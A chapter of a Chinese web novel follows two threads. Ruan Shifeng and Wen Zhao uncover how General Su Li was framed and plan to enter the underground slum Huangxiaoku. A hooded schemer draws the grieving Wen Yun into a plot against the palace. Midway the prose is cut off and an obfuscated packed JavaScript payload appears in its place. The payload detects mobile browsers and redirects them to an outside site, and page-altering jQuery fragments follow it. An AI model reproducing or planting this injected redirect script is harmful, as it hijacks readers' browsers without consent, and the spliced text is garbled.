第二日天刚亮，阮时逢竟已等在廊下。


    清冽的晨光，将他素青的袍角照得发亮。


    贪狼站在他面前，正低声回禀着什么。


    魑惊伺候温招梳洗完，推开门便瞧见这副景象。


    “大人，您之前要查的苏将军的事情有下落了……”


    阮时逢听着，手里把玩着一支不知哪儿折来的枯梅枝，指尖捻着枝头将开未开的苞。


    苏荔这档事有多难查，不必多说了，纵使是阮时逢也花了不少功夫。


    贪狼沉了沉声：“此事与太上太皇和太后……都有联系……”


    阮时逢指间的枯梅枝停住了。他抬起眼，贪狼脸上没有半分说笑的意思。


    “太上太皇……”阮时逢喃喃这四个字。


    苏荔的案子处理的干净，这背后定然有权贵操控，此事竟然还牵扯出皇家，这倒是在他的意料之外。


    他努了努嘴，忽然极轻地笑了一声。


    “这大钰下的雪啊，”他漫不经心道，“翻开都是带血珠子的。”


    贪狼垂手立着，没接话。


    阮时逢将那支残梅随手丢在廊下石阶上，抬脚碾过。花苞碎进青苔缝里，只余一点暗红的渍。


    “接着说。”


    “是。”贪狼的声音压得更低。“苏将军字荔，出身隍硝窟，替兄从军，一路做到镇关大将。”


    “隍硝窟吗……”阮时逢不禁单挑了一下眉头，“说重点。”


    贪狼颔首，声音压得低而稳：“伪造的通敌书信出自长孙家幕僚之手。苏将军战死当日，弹劾的奏章已递至御前。太上太皇未查实，便朱批定罪。苏家满门，三日后悉数斩于市口。”


    阮时逢静听着，面上无波无澜。晨光斜切过廊檐，将他半张脸掩在阴翳里。


    “长孙一族自此势大，”贪狼续道，“太后与先皇的婚约，便是那时定下。名为联姻，实为犒赏。”


    廊下一时只余风声。阮时逢忽然笑了，笑声轻得像片雪落在刃上。


    “原来忠骨填的不是疆场，而是权势的阶。”他抬眼，眸光清冽，“接着说。”


    贪狼道：“苏将军旧部曾联名上书，皆被压下。当年知晓内情者，此后十年间或贬或死，无一善终。”


    阮时逢指尖在袖中微微一蜷。


    他想起那些尘封的卷宗里，苏荔的名字总是墨迹最淡的一笔，仿佛连史书都耻于沾染。


    “活着的人踩着她的尸骨登高，”他缓声道，“死了的便永远成了垫脚石。这世道惯会吃人，连骨头渣都不吐。”


    贪狼垂首：“此案若翻，牵动两朝。大人打算如何？”


    阮时逢看着贪狼笑着问道：“贪狼，你自幼跟着我，你觉得我会管此事吗？”


    贪狼沉默片刻，摇了摇头。


    他家大人平日虽大门不出二门不迈，连早朝也难得踏足，闲时不过与几个相熟的公子哥儿吃酒听曲，看似散漫无心。


    可实际上，阮时逢此人心里清明得很，手中人脉四通八达，更有一手用金子生金子的本事。


    苏将军这案子，沾着便是两朝天大的纠葛，一旦翻动，只怕要惹一身洗不净的腥膻。


    这般百害无一利的事，以他家大人的性情，定然不会沾手。


    阮时逢瞧着贪狼摇头，唇角一弯，那笑意里没什么温度。


    “你倒是了解我。”他掸了掸衣袖上并不存在的灰尘，先是叹了口气，随后声音淡淡的，“这潭水太浑，蹚进去，鞋子脏了是小事，只是进去容易，出来难啊。不过……”


    阮时逢从怀里掏出前些日子折的纸船，眼尾勾起了温柔的笑：“以她的性子，定然是要趟这浑水不可了，本大人只能屈尊背着她呗，总不好叫她脏了衣衫……”


    阮时逢不知突然想到了什么，突然又把眉头气呼呼的皱在一起。贪狼猜测估计是又想到他那几个“情敌”了。


    阮时逢随后像顽童一样，就差撒泼打滚的大喊道：“我不管！只能我背招招！什么劳什子常青、谢轻言！他俩虚的很！肯定背不动……”


    贪狼一脸无语的看着自家大人发疯，听着阮时逢的碎碎念。


    就在这时，温招踏进了园子。


    晨光正铺在她素白的衣摆上，步子很轻，踩过石阶上那点碎了的残梅苞。


    她看见阮时逢站在廊下，贪狼垂手立在一旁，气氛不同往日。


    “怎么了？”她走近了些，目光落在阮时逢脸上。


    阮时逢几乎是瞬间就收了方才那副要与谁较劲似的模样。他站直身子，清了清嗓子，眼神飘了飘，又落回她脸上，努力想端出点平日那散漫的笑意，可眼底那点未来得及藏好的沉色还是漏了出来。


    “没怎么，”他先下意识应了句，随即又改口，“不，是有点事。”


    他朝贪狼摆摆手。贪狼会意，无声退入廊柱后的阴影里，转瞬便不见了。


    园子里只剩下他们两人。晨风穿过梅枝，带下几片将落未落的枯叶。


    阮时逢看着温招，她眼神清凌凌的，正等着他往下说。他忽然觉得那些弯弯绕绕的说辞都很多余。


    “苏荔将军的旧案，”他开口，声音比平时低，也稳，“我让人查了查。”


    温招眼睫微动：“查到什么？”


    “长孙家伪造的通敌信，太上太皇朱笔亲批的斩立决。”阮时逢说得简洁，字字清晰，“在她战死之后，苏家满门抄斩。旧部喊冤的折子，全被压了下去。再往后知情人没一个善终。”


    他顿了顿，目光落在温招脸上，想从那沉静的眉眼里看出些什么。


    “案子若要翻，便是要掀两朝旧账，动如今朝堂上盘根错节的筋骨。”他看着她的眼睛，“牵连甚广，凶险异常。”


    温招顿了顿，随即问她可有线索从哪查起。


    阮时逢薄唇轻启：“隍硝窟。”


    这三个字落在晨光里，温招的瞳孔不由自主的缩了一下。


    隍硝窟吗……


    这一切究竟是故意的指引，还是另有阴谋……


    她没说话，只是垂眸看着石阶上那点碾碎的花渍。廊下静了一息。


    阮时逢偏头看她：“你去过？”


    “没有。”温招抬起眼，“但有人留了话，让我去那里寻一个答案。”


    她没说黑衣人，也没提纸条。阮时逢也没问。他只是看着她，片刻后点了点头。


    “你可了解那里？”他眉头轻皱，在他阮时逢的脸上鲜少露出这样的表情。


    “未曾。”


    阮时逢看着她，忽然就不说话了。


    他想起温招入宫前的身份。温家嫡女，三岁习琴，五岁能诵，七岁作的咏雪诗曾在世家宴上传抄过好几日。世间的恶……连他都不曾沾染几分，更何况是她……


    隍硝窟。那是大钰最深的疮疤。


    阮时逢望着她，忽然问：“温招，你可知大钰为何定都于此？”


    温招摇头。


    “三百年前，北疆连年失守，突厥铁骑曾踏破雁门，兵临城下。”他声音不高，像在讲一段无人再提的旧事，“当时的皇帝不战不降，只做了一件事：开城门，放流民。”


    “难民涌入，城内容不下，便往地下躲。那里有前朝废弃的硝矿，巷道交错，深不见光。他们便在那里住下来，生火，垒灶，一代一代。”


    阮时逢顿了顿。


    “那地下住了三十万人。”


    温招抬起眼。


    “三十万人，”他重复这个数字，语气平静，“终生不见天日。”


    廊下静了一息。晨光铺在青石板上，将他的影子拉得薄而长。


    “朝廷不管？”温招问。


    “管过。”阮时逢唇角微动，“三百年来，七任帝王，没有一人敢填平隍硝窟。三十万流民，填到哪里去？填到突厥铁蹄下，还是填进黄河？”


    他转脸看向她，眼里的笑意淡得几乎不见。


    “所以他们活着。在暗无天日的地底，靠着典妻，卖儿，贩人，盗墓，倒卖脏器，替江湖帮派卖命。”


    他顿了顿。


    “人吃人，在那里是常事。”


    温招没说话。


    她想起前世困守深宫时，偶尔听见宫人私下议论，说金龙大街石板缝里常渗出带硫磺味的水，夜里能听见地底传来敲击声，像是有人在凿石头。


    当时只当是谣传。


    “苏荔将军，”阮时逢续道，“便是在隍硝窟长大。”


    阮时逢说到这，望向她。


    “若你真的要去，你我总归应当先去打探一下如今的隍硝窟是何样貌。”


    “你我”二字咬得轻，却不容置喙。


    温招看着他。


    “你已定了主意？”


    “难不成温大侠不想管这事了？”他眉眼弯弯，又挂起了狡黠的笑。


    他还是过于了解她了。


    “自然是要管的。”


    温招说这话时连眼睫都没颤一下。


    阮时逢看着她，忽然笑了一声。那笑意从喉间滚上来，带着点认命似的松快。他往廊柱上一靠，抄起手，下巴微抬，眼尾那点散漫的弧度又挂回来了。


    “那在下只好舍命陪君子了。”


    面上那副勉为其难的神色做得十足，连眉头都恰到好处地蹙着，仿佛真是被人拿刀架在脖子上逼的。


    温招看着他。


    他便收了几分戏态，站直身子，垂眼捻了捻自己袖口的暗纹。


    “隍硝窟那地方，”他顿了顿，“三百年来进去查案的官员没有二十也有十七。活着出来的，一只手数得过来。”


    温招没接话。


    他又笑了一下，这回笑意里没掺别的，只是望着她。


    “所以你得带上我。”


    温招问：“你去过？”


    “没有。”阮时逢答得干脆。


    温招脑袋被他气的嗡嗡的，刚想一个飞脚过去。


    “但是本座略有人脉～”


    阮时逢靠在柱子上，得意的挑了一下鬓角的那一撮“龙须”。


    温招迈出一半的腿又默默的收了回来。


    阮时逢清了清嗓，故弄玄虚地开口：“你我就这样去打探消息，定然是不行的。”


    温招看他。


    “隍硝窟那地方，”阮时逢压低声音，“三百年来自成一套规矩。外面的人进去，走不了三步就得被人盯上。”


    他说着，上下打量温招这身素白衣裙。


    “太干净了。”


    温招低头看看自己袖口。确实干净。


    阮时逢又道：“你这一身，站在金龙大街是雅致，进了隍硝窟便是活靶子。”


    温招抬眸：“那依你之见？”


    阮时逢精神一振，像是等这句问等了许久。


    他往后退半步，负手而立，端出副高深模样，眼尾却压不住那点得意。


    “首先，你不能穿白了。”


    阮时逢说完便拽着她往屋里走。


    温招被他拉着，脚步有些跟不上他的急切。他走得太快，袍角带起门槛边几片枯叶，一路滚到柜脚。


    他在衣柜前蹲下身，把底层叠得整整齐齐的衣裳一摞摞往外搬。素缎的，暗纹的，新裁了还没上身的，全被他随手撂在地上。


    温招站在他身后，看他像刨食的鸡崽一样往柜子里探，袖口沾了灰也不管。


    “找到了。”


    他直起身，手里拎着一团皱巴巴的布。


    那是一件男服。


    灰褐色的粗布料，肘部磨得发白，衣摆缺了一角。领口有块洗不掉的暗渍，袖口的线也绽了，露出一截毛糙的边缘。


    阮时逢把它抖开，对着光看了看。


    他提着衣襟，在温招身前比量了一下，随后得意的一笑，眼巴巴的看着温招，似乎等着温招问他。


    温招嘴角抽了抽，随后开口：“哪来的？”


    “诶！你看看！本大人就是有先见之明！”说到这阮时逢带着星星眼清了清嗓，“咳咳！……”


    阮时逢刚打算说出来，却突然眼珠子滴溜一转。


    要是告诉温招这是他小时候在私塾为了爬墙旷课特地弄的衣服……


    会不会让她看不起他？


    他正想着，温招已经把那件衣裳接了过去。


    她抖开衣襟，里里外外看了一遍，翻出领口内侧一个用墨线绣的“阮”


    阮时逢眼睁睁看她翻出那个字，脸上那点得意僵住了。


    温招抬眸狐疑的看了他一眼。


    阮时逢立刻别开脸，喉结滚了滚。


    温招看到他这副心虚的样子，索性给他留了些脸面，“你先出去，我看看合不合身。”


    阮时逢依言退了出去。门板合拢时还回头望了一眼，像是有话要说，到底没开口。


    屋里静下来。温招将那件灰褐旧衣抖开，布料粗砺，贴着皮肤有些扎。她褪下外衫，抬手去系领口的盘扣。


    就在这时，窗纸轻轻响了一声。


    温招手上动作未停，目光已转向窗边。


    一道淡影自墙缝里渗进来，起初只是一缕，随即凝成人形。柳含烟飘落在地，脚不沾尘，层层裙摆在半空里晃了晃，才慢慢垂落下去。


    温招看着她。


    有些日子没见了。这鬼魂从前在栖梧宫时便爱在梁上飘着，如今到了国师府，依旧改不了这穿墙入户的习性。


    柳含烟也不说话，就静静飘在窗边，目光落在温招身上那件半旧男装上，像是想看出什么名堂。


    温招继续系盘扣。


    “温姑娘。”柳含烟终于开口，声音轻得像片羽毛落在水面，“你这是要去哪？”


    温招系好最后一颗扣子，抬眼看她。


    “隍硝窟。”


    柳含烟怔了一下。那双眼眸里的光晃了晃。


    温招又要走了，自从她跟着她，温招便总是怕她受伤，所以每次一出门便不带她，可偏偏温招又很忙，一人一魂总是见不到几面。


    她从前独自在皇宫里迷茫飘荡，没人看得见她，如今在温招身边，虽说有了归属感，可她总觉得……孤单？


    可她应当习惯的。


    想到这柳含烟攥了攥虚无的衣角。


    “温姑娘，”她顿了顿，声音放得更轻，带着点小心翼翼的试探，“此次外出……可否带着我？”


    她抬眸小心的望着温招的侧颜，温招将遥昀别在腰间的动作停了下来。


    “怎么忽然想跟着？”


    柳含烟一时不知道怎么回答。


    她张了张嘴，虚无的手指绞着袖口，那截衣袖被她揉得皱了又展，展了又皱。总不能说是因为自己一只鬼觉得孤单吧。


    “可以。”


    柳含烟抬起眼。


    “此去隍硝窟，随后可能要直接往南漳去。”温招将遥昀别紧了些，垂眸理了理袖口那道绽开的线，“魑惊和阿觉也带上。”


    柳含烟怔了怔。


    温招抬眼看向她，那目光静而平，像在说一件再寻常不过的事：“劳烦柳姑娘转告阮时逢，记得把贪狼和破军都带上。”


    柳含烟站在原地，愣了一息。


    然后她忽然笑起来，笑容从眼角漫开，整张脸都亮了。她用力点头，袖口也不绞了，转身就往外飘。


    飘到门边又停住，回头望了温招一眼，眼里的光晃晃的，像刚得了糖的孩子。


    “这就去！”她说，声音轻快得要飘起来。


    话音落下，那抹素白便穿门而出，消失在廊下明晃晃的晨光里。


    屋里重归寂静。


    温招站在原地，望着她消失的方向。


    门板纹丝未动，窗纸也没破，只有一缕极淡的阴气从门缝里渗进来，很快被日光晒散了。


    柳含烟生前是怎样一个人呢。


    那样纯粹，那样单纯，温柔得像春日的溪水，笑起来眼角弯弯的，仿佛世间所有阴私都近不了她的身。


    这样的人，怎么会成了孤魂，在人间飘荡这么多年。


    她留在人间，又有什么放不下的执念。


    温招推门出来时，院里的日光又移了一寸。


    她抬手理了理袖口那道绽线，粗布硌着腕骨，有些糙。腰间遥昀沉甸甸地坠着，刃口贴着腿侧，凉意透过衣料渗进来。


    廊下没人。


    她顺着青石小径往前走，绕过那株老梅，便听见了声音。


    阮时逢蹲在院角石桌边，背对着她，一只手撑在膝上，另一只手不知在比划什么。破军站在他跟前，腰板挺得笔直，脸上那点得意藏都藏不住。


    贪狼立在稍远处，依旧是那副面无表情的模样，只是嘴角往下撇了撇。


    “……话说，”阮时逢的声音传过来，压得低，却压不住那股子懒洋洋的调子，“隍硝窟现在是个什么结构？”


    破军一听这话，腰板更直了。


    他往前凑了半步，声音里带着压不住的兴奋：“大人您这可就问对人了！得亏我做了详细调查，您不知道，我跑了多少地方，问了多少人，连……”


    阮时逢翻了个白眼。


    那白眼翻得又大又圆，日光底下清清楚楚的，连温招隔着这么远都看见了。


    “有屁快放。”


    破军噎了一下，连忙说正事。


    “隍硝窟目前已知有四层。第一层最浅，住的都是隍硝窟里的富人权贵，开铺子的，放贷的，手里有几个钱的都在那。那地方也相对最安全，只要不惹事，能活着出来。”


    阮时逢点了点头，示意他继续。


    “第二层就往下走了，”破军声音压低了些，“是各大江湖门派的地盘。什么漕帮，盐帮，还有些叫不上名字的小门派，都在那扎着。那地方不讲王法，只讲拳头。谁厉害谁说了算。”


    他说到这顿了顿，抬眼看了看阮时逢的神色。


    阮时逢脸上没什么表情，只是指尖在石桌边缘轻轻叩了叩。


    “再往后的两层……”破军声音更低了，“查不到了。”


    日光斜斜铺在院子里，梅枝的影子在地上晃了晃。


    破军挠了挠头，有些讪讪的：“我托了好些人，该打点的打点了，该问的问遍了，可那底下的人一听往深了问，脸色就变了，什么都不肯再说。有几个收了银子应承了，回头就把银子退回来，连面都不敢再露。”


    阮时逢叩着桌沿的手指停了。


    他抬起眼，看了破军片刻。


    破军被他看得发毛，连忙道：“大人，我不是不尽力，实在是……”


    “我知道。”阮时逢打断他。


    他站起身，拍了拍衣摆上并不存在的灰。日光从他背后照过来，将他半边脸掩在影子里。


    “能查到这，已是不易。”


    破军怔了怔，随即脸上绽开笑，刚要说什么，余光瞥见贪狼那撇得更低的嘴角，又讪讪收了回去。


    温招从梅树后走出来。


    阮时逢闻声回头，目光落在她身上那件灰褐旧衣上，从头扫到脚，又从脚扫到头。


    温招站定了，任他打量。


    日光将她的影子投在地上，瘦瘦的一道，衣摆缺的那角在风里轻轻晃着。


    阮时逢突然贱兮兮一笑：“不愧是招招，披麻袋都好看～”


    温招懒得理他，她看向两人：“含烟跟你们说一同去隍硝窟的事情了吧。”


    “安啦安啦～其实我一个就能保护你的，带这么多人影响咱俩二人世界了。”


    破军看着恋爱脑大人，在暗处翻了一个白眼，打算一会就给贪狼回去演一遍。


    ……


    漓江，


    竹林小院里，温韫正坐在院子里喝茶。


    茶水是凉的，他端起来抿了一口，又放下。


    自从温招死后他便打算杀回皇宫，却在半路被人一棒子敲晕。醒来就在这里了。院子不大，四面是竹林，每天有人送饭送水，就是不让他出去。


    关了多久，他记不清了。


    脚步声从身后响起，踩在竹叶上沙沙的。温韫没回头。


    那个人走到他身侧，站定。黑袍罩着全身，兜帽压得很低，看不见脸。


    “大人住得可习惯？”


    温韫端着茶杯，没应声。


    自从温招死后，他像是换了个人。从前那点温吞的性子全没了，眼神冷下来的时候，连送饭的老仆都不敢多看他一眼。


    黑袍人也不恼，就那么站着。


    过了半晌，温韫才抬起眼皮瞥了他一眼，声音淡淡的：“有事？”


    “遇到了些琐事，”黑袍人道，“让大人等了这么久，是在下考虑不周了。”


    温韫懒得听他扯这些有的没的。他把茶杯往石桌上一搁，起身就往屋里走。


    袍角擦过石凳边缘，带起一声轻响。


    “在下如果猜得没错，”黑袍人的声音从身后传来，不疾不徐，“大人是要回钰城吧。”


    温韫没停，继续往前走。


    “听闻良妃娘娘在皇宫不幸离世……”


    温韫脚步一顿，


    黑袍之下那人眼中闪烁了一缕寒光。


    “听闻令姊噩耗，在下也倍感痛心啊……”


    温韫并没有转过身，可他从都到脚都在发抖，他觉得眼前发黑。


    从温招的那晚直到现在，他一滴泪都没掉过。


    他孩童时看着自己的娘亲是温招非打即骂，他拦不住；他少年时看着自己的父亲将温招送入后宫，他拦不住；他青年时，听到温招冤死在皇城，他依旧拦不住……


    直到她彻底从这个世界离开，那些缄之于心的秘密也随她一同离去了。


    他甚至没赶上她的头七。


    “有事便说……”温韫再转过来时，已经收拾好了情绪，那双疏离的眸子一动不动的望向黑袍人。


    黑袍人看他这副模样，心下了然的笑了笑，也不知是知晓了什么，随后带着些愉悦的开口：“在下有个交易，不知……温大人感不感兴趣……”


    “关于这天下主……在下觉得也该换一换了……”


    温韫眉头微皱：“你要谋反？”


    黑袍人笑了一下。那笑声很轻，像枯叶擦过石板。


    “难道温大人不恨吗？”


    温韫没应声。


    黑袍人往前踱了一步。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231633|176822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “况且……”


    他顿了顿。


    “那位……对你来说……只是阿姐这样简单吗？”


    温韫瞳孔一缩。


    他站在那儿，像被人当胸刺了一刀。那刀没拔出来，就嵌在骨头缝里，冷得发疼。


    从温招死后他的失眠越来越严重。夜里睡不着，便会爬起来画她。


    画她小时候蹲在墙根喂野猫的样子，画她进宫那日回头望的那一眼，画她穿嫁衣时垂下的眼睫。


    一幅又一幅。


    画完就烧，烧完再画。


    他以为没人知道。


    许是下人发现了，告诉了这黑袍人。又或者，这人早就盯着他，等着今日把这话当面甩出来。


    可被赤裸裸地将他最深的秘密剖开，温韫还是觉得浑身的血都涌上了头。


    他双目通红地盯着黑袍人。


    那眼神不像在看人，像在看一只该被剐了的畜生。


    黑袍人迎着他的目光，没躲，也没退。


    半晌，他忽然又笑了一声。


    “温大人不必如此看我，你我各取所需，皇帝留给你，皇位留给我，如何？”


    温韫站在原地，背脊僵得像生了锈。


    黑袍人的话像一根钉子，从他耳里钉进去，从心口穿出来。


    他没动。黑袍人也没动。


    竹叶沙沙响了一阵，风停了，四下里又静下来。


    “她怎么死的。”温韫开口，声音哑得不像自己。


    黑袍人道：“走水。”


    “我知道是走水。”温韫转过身，看着他，“我问的是…真的是意外吗…”


    黑袍人兜帽下的脸隐在阴影里，只露出半截下颌。那下颌动了动，像是在笑。


    “只要都杀了…是谁…还重要吗？”


    温韫瞳孔微缩。


    温韫站在那里，风穿过竹林，吹得他衣袍猎猎作响。


    他盯着黑袍人隐在阴影里的半截下颌，看了很久。


    “都杀了…”他重复这三个字，像是在咀嚼什么滋味。


    黑袍人没说话。


    温韫忽然笑了一下。眼里却一丝笑意也没有，只有无尽的寒霜。


    “我凭什么信你。”


    黑袍人道：“你不需要信我。你只需要知道你恨谁。”


    温韫没应声。


    黑袍人又道：“况且…温大人，你单枪匹马的杀回去，只怕是连皇帝的衣角都碰不到便死无全尸了。”


    他顿了顿。


    “你不想帮你阿姐报仇吗？”


    温韫垂在身侧的手，指尖微微蜷了一下。


    黑袍人看着他，兜帽下那双眼睛在阴影里亮得惊人。


    “够了。”


    温韫打断他。声音不高，却像石头砸进深井。


    竹林里静了一息。


    温韫抬起眼，看向他。那双从前总是温吞含笑的眸子，此刻像淬过火的刀，冷而利。


    “你想拿我当刀使。”


    黑袍人没否认。


    温韫又笑了一声，这回笑意深了些，还是没到眼底。


    “行啊。”


    黑袍人抬起眼。


    温韫看着他，一字一句说得又慢又清楚：“但皇宫里所有的人…都得死。”


    黑袍人勾起一抹笑，与他达成了共识。


    “如君所愿。”


    随后黑袍人转身离开。


    他穿过竹林，脚步踩在枯叶上沙沙作响。


    走出小园约莫二里地，竹林渐密，光线暗下来。他停住脚步。


    东侧一块青石后头，蹦出个小小的身影。


    那女孩穿着身半旧的杏黄衫子，头发扎成两个小髻，跑起来髻上的红绳一晃一晃的。


    她跑到黑袍人跟前，仰起脸，弯着眼睛笑。


    “大人怎么突然来了？”


    黑袍人没说话。


    他猛地伸手，掐住那女孩的脖子。


    五指收紧，女孩被他提得脚尖离了地。她那张小脸迅速涨红，额角青筋浮起来，嘴张着却吸不进一口气。


    可那双眼睛还是弯的，亮晶晶地望着他，像是在看一场好玩的把戏。


    黑袍人盯着她，兜帽下的眼睛冷得像淬过冰。


    “缄口镇。”


    他开口，声音不高，却像钝刀子割肉。


    女孩在他手里晃了晃，依旧笑着。


    “那箭你动了手脚。”


    女孩喉咙里发出嗬嗬的气音，说不出话，只用力眨了两下眼。


    黑袍人手上又紧了半分。


    “你以为我不知道？”


    女孩的脸已经红得发紫。她抬起两只小手，软软地搭在他掐着自己的那只手腕上，也不挣扎，就那么搭着。


    黑袍人看着她，忽然笑了一声。


    那笑声从喉咙里滚出来，阴恻恻的，听得人骨头缝里冒寒气。


    他将女孩往青石上一掼。


    女孩摔在石头上，捂着脖子剧烈咳嗽起来。咳了好一阵，才缓过气，抬起脸时眼眶里咳出了泪，可嘴角还是弯着的。


    “大人怎么突然生气了？”她声音哑得厉害，却带着笑。


    黑袍人站在她面前，居高临下地看着她。


    “你在帮她。”


    “我在帮您。”


    女孩揉着脖子，从青石上滑下来，站直了。她比黑袍人矮了一大截，仰着脸看他时，那双眼睛弯得只剩下两道缝。


    “您知道的，若不是您，我早就灰飞烟灭了。”


    “阿娣，你最好认清现状，你的命是我给的，如果温招不死，死的就是你们。”黑袍人淡漠道。


    阿娣揉着脖子，指尖还带着被掐过的红痕。她仰着脸，那笑容僵了一瞬，又弯起来，甜得像块化了的糖。


    “大人怎会这样想我。”她声音还哑着，却软软的，像在撒娇，“况且您不是把温韫控制住了吗。”


    黑袍人低头看她。


    兜帽的阴影遮住大半张脸，只露出半截下颌和一双眼。那眼睛冷得发青，像深冬结冰的河面。


    “控制？”他重复了一遍这个字。


    阿娣眨了眨眼。


    黑袍人忽然笑了一声。那笑声很短，从喉咙里滚出来，带着说不清的意味。


    “他只是为了还他自己一个心安，他以为温招死了，便变成了现在这副鬼样子……”


    阿娣没接话，只歪着头看他。


    黑袍人转过身，往竹林深处走了两步。枯叶在他脚下碎裂，发出细碎的声响。


    “温韫那小子，”他背对着阿娣，声音不高，“看着软，骨头硬。他要是真狠起来，比你我想的都疯。”


    阿娣站在原地，揉着脖子的手放了下来。


    黑袍人转过身，看着她。


    “之后再派几个去盯着温韫。”


    阿娣点点头，髻上红绳跟着晃了晃。


    黑袍人盯着她看了片刻，忽然想起什么似的，唇角动了动。那弧度算不上笑，只是皮肉扯了一下。


    “这人还真是恶心啊。”


    阿娣抬起眼。


    黑袍人站在竹影里，斑驳的光落在他身上，将他的轮廓切得支离破碎。


    “竟然爱上了自己的阿姐吗？”


    阿娣没应声。她只是站在那里，脸上那甜腻的笑不知何时收了，只剩下一双弯弯的眼睛，亮晶晶地望着他。


    黑袍人没再看她。


    他转身往竹林更深处走去，脚步声渐远，很快便融进沙沙的竹叶声里。


    ……


    夜深了。


    温韫还坐在案前。


    烛火烧得只剩半截，焰心晃得厉害，映在墙上的人影也跟着一明一灭。案头铺着宣纸，边上搁着几坛酒，两坛已经空了，第三坛刚开封。


    他提笔蘸墨。


    笔尖落在纸上，先勾眉眼。那是她最像温招的地方，眼尾微微上挑，看人时总带着三分清冷。他画过无数次，闭着眼也能描出来。


    画到鼻梁时停住。


    他放下笔，端起酒坛灌了一口。酒液顺着喉咙淌下去，烧得胃里发烫。他盯着纸上那双还没画全的眼睛，看了很久。


    她刚死那会儿，他整夜整夜睡不着。后来睡着了，梦里全是她。


    梦到儿时的她因为柳翠而推搡自己；梦到了儿时的他蹲在她的床边轻嗅她的发丝；梦到了他送了她好多兔子……


    醒来枕巾都是湿的。


    他又灌了一口酒。


    这回没停，一口气喝了小半坛。酒液从嘴角溢出来，顺着下巴淌进衣领，他也没擦。


    放下酒坛，重新提笔。


    这回画得快了些。鼻梁，嘴唇，下颌。她下颌的弧度他很熟悉，小时候她低头看他时，他常盯着那截弧度出神。后来他高了，需要低头才能看到她了，虽然她从不抬头看自己就是了。


    画到脖颈时手抖了一下。


    那一笔歪了，在素白的宣纸上拖出一道细长的墨痕，从她颈侧划到衣领。


    温韫盯着那道墨痕。


    烛火跳了跳，他看见那墨痕像一道伤口。


    他忽然把笔摔在案上。


    笔杆弹起来，滚了两圈，落到地上，在青砖上留下一道断续的墨渍。他没去捡，只撑着案沿喘气。胸口剧烈起伏，喉咙里发出压抑的、破碎的呼吸声。


    案上那坛酒被他碰倒了，酒液汩汩淌出来，浸湿了宣纸，将那张刚画了一半的脸晕成模糊的一团。


    他怔怔看着那张被酒浸烂的画像。


    烛火又跳了一下。


    他忽然笑了一声。


    说好的，等他从南漳回去了，就给她带只兔子，可现在，等他的人不在了，永远不在了，兔子该给谁，换句话说，他的爱该放在哪？他的愧疚、他的弥补又该给谁？


    他不用她爱他……这本来就是禁忌的爱，如果一定要有一个人痛苦，那个人本该就是他，他对不起她的太多了。


    他也不知晓为什么会爱上她，他们不像姐弟，更像是陌生人，温招入宫之前也就对温应寒的态度还算温和，他娘柳翠本就是她的仇人，而他是仇人之子。


    温韫看着那滩被酒浸烂的墨迹。


    看了很久。


    然后他笑了一下。


    笑声很轻，从喉咙里滚出来，带着酒气，带着涩，像是终于想通了什么荒唐事。


    “说好的兔子……”


    他声音哑得不像自己的，低低地，像是在问那张模糊的画像，又像是在问自己。


    “兔子给谁。”


    案上烛火跳了跳，映着他半边脸。那笑还挂在嘴角，眼里却空空的，什么也没有。


    他撑着想坐直，手肘一软，整个人歪在案边。酒坛又倒了一个，骨碌碌滚到地上，碎成几瓣。他没管，只是把头埋进臂弯里。


    屋里静下来。


    只有烛火偶尔哔剥一声，和他自己断断续续的呼吸。


    他趴在那儿，脸埋在袖子里，肩胛骨随着呼吸轻轻起伏。窗外不知什么时候起了风，吹得窗纸簌簌响。


    他就那样睡着了。


    烛火烧到尽头，轻轻一跳，灭了。